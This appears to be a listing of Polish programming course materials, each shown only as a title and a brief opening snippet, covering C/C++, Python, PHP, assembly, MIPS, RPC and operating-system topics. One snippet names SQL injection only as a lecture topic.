Część XIX C++ w Każda poznana do tej pory zmienna może przechowywać jedną liczbę. Jeśli zaczniemy pisać bardziej rozbudowane programy, okaże się to niewystarczające. Warto więc poznać zmienne, które mogą
Opis protokołu RPC. Grzegorz Maj nr indeksu:
Opis protokołu RPC Grzegorz Maj nr indeksu: 236095 1 Streszczenie Niniejszy dokument opisuje specyfikację protokołu RQP (Remote Queues Protocol). W jego skład wchodzą: opis celów protokołu; opis założeń
PARADYGMATY PROGRAMOWANIA Wykład 4
PARADYGMATY PROGRAMOWANIA Wykład 4 Metody wirtualne i polimorfizm Metoda wirualna - metoda używana w identyczny sposób w całej hierarchii klas. Wybór funkcji, którą należy wykonać po wywołaniu metody wirtualnej
4. Funkcje. Przykłady
4. Funkcje Przykłady 4.1. Napisz funkcję kwadrat, która przyjmuje jeden argument: długość boku kwadratu i zwraca pole jego powierzchni. Używając tej funkcji napisz program, który obliczy pole powierzchni
Wstęp do programowania INP001213Wcl rok akademicki 2017/18 semestr zimowy. Wykład 6. Karol Tarnowski A-1 p.
Wstęp do programowania INP001213Wcl rok akademicki 2017/18 semestr zimowy Wykład 6 Karol Tarnowski karol.tarnowski@pwr.edu.pl A-1 p. 411B Plan prezentacji Funkcje w języku C Zasięg zmiennych Przekazywanie
Nazwa implementacji: Nauka języka Python wyrażenia warunkowe. Autor: Piotr Fiorek. Opis implementacji: Poznanie wyrażeń warunkowych if elif - else.
Nazwa implementacji: Nauka języka Python wyrażenia warunkowe Autor: Piotr Fiorek Opis implementacji: Poznanie wyrażeń warunkowych if elif - else. Nasz kalkulator umie już liczyć, ale potrafi przeprowadzać
Wstęp do programowania
wykład 10 Agata Półrola Wydział Matematyki i Informatyki UŁ semestr zimowy 2018/2019 Przesyłanie argumentów - cd Przesyłanie argumentów do funkcji - tablice wielowymiarowe Przekazywanie tablic wielowymiarowych
1. Nagłówek funkcji: int funkcja(void); wskazuje na to, że ta funkcja. 2. Schemat blokowy przedstawia algorytm obliczania
1. Nagłówek funkcji: int funkcja(void); wskazuje na to, że ta funkcja nie ma parametru i zwraca wartość na zewnątrz. nie ma parametru i nie zwraca wartości na zewnątrz. ma parametr o nazwie void i zwraca
Wyrażenie include(sciezka_do_pliku) pozwala na załadowanie (wnętrza) pliku do skryptu php. Plik ten może zawierać wszystko, co może się znaleźć w
Wyrażenie include(sciezka_do_pliku) pozwala na załadowanie (wnętrza) pliku do skryptu php. Plik ten może zawierać wszystko, co może się znaleźć w obrębie skryptu. Wyrażenia include() i require() są niemal
Podstawy programowania skrót z wykładów:
Podstawy programowania skrót z wykładów: // komentarz jednowierszowy. /* */ komentarz wielowierszowy. # include dyrektywa preprocesora, załączająca biblioteki (pliki nagłówkowe). using namespace
Wieczorowe Studia Licencjackie Wrocław, Wykład nr 6 (w oparciu o notatki K. Lorysia, z modyfikacjami) Sito Eratostenesa
Wieczorowe Studia Licencjackie Wrocław, 7.11.2006 Wstęp do programowania Wykład nr 6 (w oparciu o notatki K. Lorysia, z modyfikacjami) Sito Eratostenesa Zaprezentujemy teraz algorytm na wyznaczanie wszystkich
Instrukcja do ćwiczeń nr 4 typy i rodzaje zmiennych w języku C dla AVR, oraz ich deklarowanie, oraz podstawowe operatory
Instrukcja do ćwiczeń nr 4 typy i rodzaje zmiennych w języku C dla AVR, oraz ich deklarowanie, oraz podstawowe operatory Poniżej pozwoliłem sobie za cytować za wikipedią definicję zmiennej w informatyce.
Ćwiczenie 4. Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1.
Laboratorium Podstaw Informatyki Strona 1 Laboratorium Podstaw Informatyki Kierunek Elektrotechnika Ćwiczenie 4 Obsługa plików Kraków 2010 Laboratorium Podstaw Informatyki Strona 2 Obsługa plików Zanim
Typy złożone. Struktury, pola bitowe i unie. Programowanie Proceduralne 1
Typy złożone Struktury, pola bitowe i unie. Programowanie Proceduralne 1 Typy podstawowe Typy całkowite: char short int long Typy zmiennopozycyjne float double Modyfikatory : unsigned, signed Typ wskaźnikowy
ZASADY PROGRAMOWANIA KOMPUTERÓW
POLITECHNIKA WARSZAWSKA Instytut Automatyki i i Robotyki ZASADY PROGRAMOWANIA KOMPUTERÓW Język Język programowania: C/C++ Środowisko programistyczne: C++Builder 6 Wykład 9.. Wskaźniki i i zmienne dynamiczne.
Biblioteka standardowa - operacje wejścia/wyjścia
Biblioteka standardowa - operacje wejścia/wyjścia Przemysław Gawroński D-10, p. 234 Wykład 6 15 stycznia 2019 (Wykład 6) Biblioteka standardowa - operacje wejścia/wyjścia 15 stycznia 2019 1 / 14 Outline
Tablice i struktury. czyli złożone typy danych. Programowanie Proceduralne 1
Tablice i struktury czyli złożone typy danych. Programowanie Proceduralne 1 Tablica przechowuje elementy tego samego typu struktura jednorodna, homogeniczna Elementy identyfikowane liczbami (indeksem).
Wskaźniki i dynamiczna alokacja pamięci. Spotkanie 4. Wskaźniki. Dynamiczna alokacja pamięci. Przykłady
Wskaźniki i dynamiczna alokacja pamięci. Spotkanie 4 Dr inż. Dariusz JĘDRZEJCZYK Wskaźniki Dynamiczna alokacja pamięci Przykłady 11/3/2016 AGH, Katedra Informatyki Stosowanej i Modelowania 2 Wskaźnik to
PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012
PROGRAMOWANIE NISKOPOZIOMOWE PN.04 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 3 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.04 Rok akad.
Strona główna. Strona tytułowa. Programowanie. Spis treści. Sobera Jolanta 16.09.2006. Strona 1 z 26. Powrót. Full Screen. Zamknij.
Programowanie Sobera Jolanta 16.09.2006 Strona 1 z 26 1 Wprowadzenie do programowania 4 2 Pierwsza aplikacja 5 3 Typy danych 6 4 Operatory 9 Strona 2 z 26 5 Instrukcje sterujące 12 6 Podprogramy 15 7 Tablice
Jednym z najważniejszych zagadnień, z którym może się zetknąć twórca
Uwierzytelnianie w PHP 01 Jednym z najważniejszych zagadnień, z którym może się zetknąć twórca stron internetowych, jest identyfikacja i uwierzytelnienie uprzywilejowanego użytkownika. Od zaprojektowania
Poniższe funkcje opisane są w 2 i 3 części pomocy systemowej.
Procesy Proces (zwany też zadaniem) jest jednostką aktywną, kontrolowaną przez system operacyjny i związaną z wykonywanym programem. Proces ma przydzielone zasoby typu pamięć (segment kodu, segment danych,
PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012
PROGRAMOWANIE NISKOPOZIOMOWE PN.06 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.06 Rok akad.
Architektura komputerów
Architektura komputerów Tydzień 5 Jednostka Centralna Zadania realizowane przez procesor Pobieranie rozkazów Interpretowanie rozkazów Pobieranie danych Przetwarzanie danych Zapisanie danych Główne zespoły
METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02
METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE Wykład 02 NAJPROSTSZY PROGRAM /* (Prawie) najprostszy przykład programu w C */ /*==================*/ /* Między tymi znaczkami można pisać, co się
Język ludzki kod maszynowy
Język ludzki kod maszynowy poziom wysoki Język ludzki (mowa) Język programowania wysokiego poziomu Jeśli liczba punktów jest większa niż 50, test zostaje zaliczony; w przeciwnym razie testu nie zalicza
Lekcja : Tablice + pętle
Lekcja : Tablice + pętle Wprowadzenie Oczywiście wiesz już jak dużo można osiągnąć za pomocą tablic oraz jak dużo można osiągnąć za pomocą pętli, jednak tak naprawdę prawdziwe możliwości daje połączenie
1 Podstawy c++ w pigułce.
1 Podstawy c++ w pigułce. 1.1 Struktura dokumentu. Kod programu c++ jest zwykłym tekstem napisanym w dowolnym edytorze. Plikowi takiemu nadaje się zwykle rozszerzenie.cpp i kompiluje za pomocą kompilatora,
ISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje
Funkcje (podprogramy) Mianem funkcji określa się fragment kodu, który może być wykonywany wielokrotnie z różnych miejsc programu. Ogólny zapis: typ nazwa(argumenty) ciało funkcji typ określa typ danych
Dzisiejszy wykład. Narzędzia informatyczne w językoznawstwie. Usuwanie elementów z początku tablicy. Dodawanie elementów do początku tablic
Dzisiejszy wykład Narzędzia informatyczne w językoznawstwie Perl- Manipulowanie tablic, zmienne lokalne, funkcje Marcin Junczys-Dowmunt junczys@amu.edu.pl Zakład Logiki Stosowanej http://www.logic.amu.edu.pl
INFORMATYKA Z MERMIDONEM. Programowanie. Moduł 5 / Notatki
INFORMATYKA Z MERMIDONEM Programowanie Moduł 5 / Notatki Projekt współfinansowany ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego. Realizator projektu: Opracowano w ramach projektu
6. Bezpieczeństwo przy współpracy z bazami danych
6. Bezpieczeństwo przy współpracy z bazami danych 6.1. Idea ataku SQL injection Atak znany jako SQL injection jest możliwy wtedy, gdy użytkownik ma bezpośredni wpływ na postać zapytania wysyłanego do bazy
IMIĘ i NAZWISKO: Pytania i (przykładowe) Odpowiedzi
IMIĘ i NAZWISKO: Pytania i (przykładowe) Odpowiedzi EGZAMIN PIERWSZY (25 CZERWCA 2013) JĘZYK C++ poprawiam ocenę pozytywną z egzaminu 0 (zakreśl poniżej x) 1. Wśród poniższych wskaż poprawną formę definicji
Warunek wielokrotnego wyboru switch... case
Warunek wielokrotnego wyboru switch... case Działanie instrukcji switch jest zupełnie inne niż w przypadku instrukcji if o czym będziesz mógł się przekonać w niniejszym rozdziale. Różnice pomiędzy instrukcjami
2.1. W architekturze MIPS, na liście instrukcji widzimy dwie instrukcje dotyczące funkcji: .text main: la $a0, string1 # drukuj pierwszy łańcuch
ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH: Instrukcja do laboratorium 4, (2x2h) Opracowanie i prowadzenie: dr inż. Ignacy Pardyka, Uniwersytet Jana Kochanowskiego w Kielcach Temat: Architektura MIPS: wywołanie
Futex (Fast Userspace Mutex) Łukasz Białek
Futex (Fast Userspace Mutex) Łukasz Białek Futex informacje podstawowe Stworzony w 2002 roku przez Hubertusa Franke, Matthew Kirkwooda, Ingo Molnára i Rustiego Russella. Jest mechanizmem w Linuxie, który
Struktury. Przykład W8_1
Struktury Struktury pozwalają na grupowanie zmiennych różnych typów pod wspólną nazwą. To istotnie ułatwia organizacje danych, które okazują się w jednym miejscu kodu programu. To jest bardzo ważne dla
Kompilator języka C na procesor 8051 RC51 implementacja
Kompilator języka C na procesor 8051 RC51 implementacja Implementowane typy danych bit 1 bit char lub char signed 8 bitów char unsigned 8 bitów int lub signed int 16 bitów unsigned int 16 bitów long lub
Uwagi dotyczące notacji kodu! Moduły. Struktura modułu. Procedury. Opcje modułu (niektóre)
Uwagi dotyczące notacji kodu! Wyrazy drukiem prostym -- słowami języka VBA. Wyrazy drukiem pochyłym -- inne fragmenty kodu. Wyrazy w [nawiasach kwadratowych] opcjonalne fragmenty kodu (mogą być, ale nie
Podstawy programowania. Wykład 6 Wskaźniki. Krzysztof Banaś Podstawy programowania 1
Podstawy programowania. Wykład 6 Wskaźniki Krzysztof Banaś Podstawy programowania 1 Adresy zmiennych Język C pozwala na operowanie adresami w pamięci stąd, między innymi, kwalifikowanie C jako języka relatywnie
Instrukcja do laboratorium Systemów Operacyjnych. (semestr drugi)
Instrukcja do laboratorium Systemów Operacyjnych (semestr drugi) Ćwiczenie drugie (jedne zajęcia) Temat: Procesy i sygnały w Linuksie. Opracowanie: mgr in ż. Arkadiusz Chrobot Wprowadzenie 1. Budowa procesu
Wstęp do Programowania, laboratorium 02
Wstęp do Programowania, laboratorium 02 Zadanie 1. Napisać program pobierający dwie liczby całkowite i wypisujący na ekran największą z nich. Zadanie 2. Napisać program pobierający trzy liczby całkowite
Inicjacja tablicy jednowymiarowej
TABLICE C++ Inicjacja tablicy jednowymiarowej typ_komórek_tablicy nazwa_tablicy [ ilość elementów tablicy ] ; np.: int tablica[1000]; czyli tablica, która może przechowywać tysiąc elementów typu całkowitego,
Podstawowe elementy proceduralne w C++ Program i wyjście. Zmienne i arytmetyka. Wskaźniki i tablice. Testy i pętle. Funkcje.
Podstawowe elementy proceduralne w C++ Program i wyjście Zmienne i arytmetyka Wskaźniki i tablice Testy i pętle Funkcje Pierwszy program // Niezbędne zaklęcia przygotowawcze ;-) #include using
Odczyty 2.0 Spis treści
Opracowanie i skład: MMSoft s.c Copyright MMSoft s.c. Wszelkie prawa zastrzeżone. All Rights Reserved Powielanie w jakiejkolwiek formie całości lub fragmentów podręcznika bez pisemnej zgody firmy MMSoft
Ćwiczenie 3. Konwersja liczb binarnych
1 Laboratorium Architektury Komputerów Ćwiczenie 3 Konwersja liczb binarnych Komputery wykonują operacje przetwarzania danych na wartościach binarnych, podczas gdy współczesna cywilizacja posługuje się
RPC. Zdalne wywoływanie procedur (ang. Remote Procedure Calls )
III RPC Zdalne wywoływanie procedur (ang. Remote Procedure Calls ) 1. Koncepcja Aplikacja wywołanie procedury parametry wyniki wykonanie procedury wynik komputer klienta komputer serwera Zaletą takiego
Wdrożenie modułu płatności eservice. dla systemu Gekosale 1.4
Wdrożenie modułu płatności eservice dla systemu Gekosale 1.4 - dokumentacja techniczna Wer. 01 Warszawa, styczeń 2014 1 Spis treści: 1 Wstęp... 3 1.1 Przeznaczenie dokumentu... 3 1.2 Przygotowanie do integracji...
PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012
PROGRAMOWANIE NISKOPOZIOMOWE PN.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 4 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.01 Rok akad. 2011/2012 1 / 27 c Dr
Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych.
Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych. 1. Rodzaje pamięci używanej w programach Pamięć komputera, dostępna dla programu,